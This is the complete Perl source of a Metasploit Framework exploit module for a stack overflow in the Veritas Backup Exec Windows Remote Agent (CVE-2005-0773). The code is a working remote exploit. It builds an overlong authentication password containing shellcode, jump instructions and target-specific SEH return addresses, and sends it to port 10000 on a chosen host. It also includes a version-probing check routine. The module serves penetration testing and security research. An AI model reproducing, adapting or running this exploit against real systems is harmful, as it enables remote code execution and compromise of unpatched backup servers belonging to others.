backupexec_agent.pm.txt

`##  
# This file is part of the Metasploit Framework and may be redistributed  
# according to the licenses defined in the Authors field below. In the  
# case of an unknown or missing license, this file defaults to the same  
# license as the core Framework (dual GPLv2 and Artistic). The latest  
# version of the Framework can always be obtained from metasploit.com.  
##  
  
package Msf::Exploit::backupexec_agent;  
use base "Msf::Exploit";  
use strict;  
use Pex::Text;  
  
my $advanced = { };  
  
my $info =  
{  
'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',  
'Version' => '$Revision: 1.7 $',  
'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],  
'Arch' => [ 'x86' ],  
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],  
'Priv' => 1,  
  
'AutoOpts' => { 'EXITFUNC' => 'process' },  
  
'UserOpts' =>  
{  
'RHOST' => [1, 'ADDR', 'The target address'],  
'RPORT' => [1, 'PORT', 'The target port', 10000],  
},  
  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'Keys' => ['+ws2ord'],  
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500  
},  
  
'Description' => Pex::Text::Freeform(qq{  
This module exploits a stack overflow in the Veritas BackupExec Windows  
Agent software. This vulnerability occurs when a client authentication request  
is received with type '3' and a long password argument. Reliable execution is   
obtained by abusing the stack overflow to smash a SEH pointer.  
}),  
  
'Refs' =>  
[  
['CVE', '2005-0773' ],  
['URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],  
['URL', 'http://seer.support.veritas.com/docs/276604.htm' ],  
],  
  
'DefaultTarget' => 0,  
'Targets' =>  
[  
['Veritas BE 9.0/9.1/10.0 (All Windows)', 0x0140f8d5, 0x014261b0 ],  
['Veritas BE 9.0/9.1/10.0 (Windows 2000)', 0x75022ac4, 0x75022ac4 ],  
],  
  
'Keys' => ['veritas'],  
};  
  
sub new {  
my $class = shift;  
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);  
return($self);  
}  
  
# Version 4.2 -> 9.1  
# Version 5.1 -> 10.0  
sub Check {  
my $self = shift;  
my ($vend, $prod, $vers) = $self->GetVersion;  
  
if (! $vend) {  
$self->PrintLine("[*] Could not determine the version number");  
return $self->CheckCode('Unknown');  
}  
  
$self->PrintLine("[*] $prod Version $vers ($vend)");  
return $self->CheckCode('Detected');  
}  
  
sub Exploit {  
my $self = shift;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');  
my $target_idx = $self->GetVar('TARGET');  
my $shellcode = $self->GetVar('EncodedPayload')->Payload;  
my $target = $self->Targets->[$target_idx];  
  
$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );  
  
my $s = Msf::Socket::Tcp->new(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
'LocalPort' => $self->GetVar('CPORT'),  
'SSL' => $self->GetVar('SSL'),  
);  
  
if ( $s->IsError ) {  
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );  
return;  
}  
  
my $res = $s->Recv(4, 5);  
$res = $s->Recv(unpack('N', $res) - 0x80000000, 5);  
  
my $username = "X" x 512;  
my $password = Pex::Text::PatternCreate(8192);  
  
# Place our payload early in the request and jump backwards into it  
substr($password, 3536-length($shellcode), length($shellcode), $shellcode);  
  
# This offset is required for version 10.0  
substr($password, 3536, 2, "\xeb\x06");  
substr($password, 3540, 4, pack('V', $target->[2]) );  
substr($password, 3544, 5, "\xe9" . pack('V', -1037));  
  
# This offset is required for version 9.0/9.1  
substr($password, 4524, 2, "\xeb\x06");  
substr($password, 4528, 4, pack('V', $target->[1]) );  
substr($password, 4532, 5, "\xe9" . pack('V', -2025));  
  
my $conn_auth =  
pack('N', 1). # Sequence number  
pack('N', time()). # Current time  
pack('N', 0). # Message type (request)  
pack('N', 0x901). # Message name (connect_client_auth)  
pack('N', 0). # Reply sequence number  
pack('N', 0). # Error status  
pack('N', 3). # Authentication type  
pack('N', length($username)).  
$username.  
pack('N', length($password)).  
$password.  
pack('N', 4);  
  
$self->PrintLine( "[*] Sending authentication request of " . length($conn_auth) . "   
bytes..." );  
$s->Send(pack('N', 0x80000000 + length($conn_auth)) . $conn_auth);  
  
return;  
}  
  
sub GetVersion {  
my $self = shift;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');  
  
my $s = Msf::Socket::Tcp->new(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
'LocalPort' => $self->GetVar('CPORT'),  
'SSL' => $self->GetVar('SSL'),  
);  
  
if ( $s->IsError ) {  
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );  
return undef;  
}  
  
my $res = $s->Recv(4, 5);  
return undef if ! $res;  
$res = $s->Recv(unpack('N', $res) - 0x80000000, 5);  
  
my $serv_info =  
pack('N', 1). # Sequence number  
pack('N', time()). # Current time  
pack('N', 0). # Message type (request)  
pack('N', 0x108). # Message name (connect_client_auth)  
pack('N', 0). # Reply sequence number  
pack('N', 0); # Error status  
  
$s->Send(pack('N', 0x80000000 + length($serv_info)) . $serv_info);  
$res = $s->Recv(4, 5);  
return undef if ! $res;  
  
$res = $s->Recv(unpack('N', $res) - 0x80000000, 5);  
$s->Close;  
  
# Skip past the protocols headers  
$res = substr($res, 28);  
  
# Vendor  
my $vend_len = unpack('N', substr($res, 0, 4));  
my $vend = substr($res, 4, $vend_len);  
$res = substr($res, 4 + $vend_len + 1);  
  
# Product  
my $prod_len = unpack('N', substr($res, 0, 4));  
my $prod = substr($res, 4, $prod_len);  
$res = substr($res, 4 + $prod_len + 1);  
  
# Version  
my $vers_len = unpack('N', substr($res, 0, 4));  
my $vers = substr($res, 4, $vers_len);  
$res = substr($res, 4 + $vers_len + 1);  
  
return ($vend, $prod, $vers);  
}  
  
1;  
`